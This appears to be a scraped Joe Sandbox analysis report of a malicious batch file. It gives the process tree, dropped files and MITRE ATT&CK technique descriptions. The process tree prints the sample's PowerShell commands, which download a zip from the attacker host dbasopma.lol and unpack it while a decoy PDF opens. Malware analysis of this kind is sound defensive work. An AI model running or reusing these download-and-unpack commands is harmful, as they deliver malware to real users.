Start time:	08:32:12
Start date:	06/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Imagebase:	0x7ff6fb5a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	08:32:13
Start date:	06/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\AQRFEVRTGL.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	08:32:14
Start date:	06/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	21
Start time:	10:21:08
Start date:	06/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report new.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\16c673b4-d6e0-4eef-9ad8-624ff6e391d2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\839b6b3d-a70e-4f96-a9e2-ff519d48af73.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF65ead2.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
new.bat

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre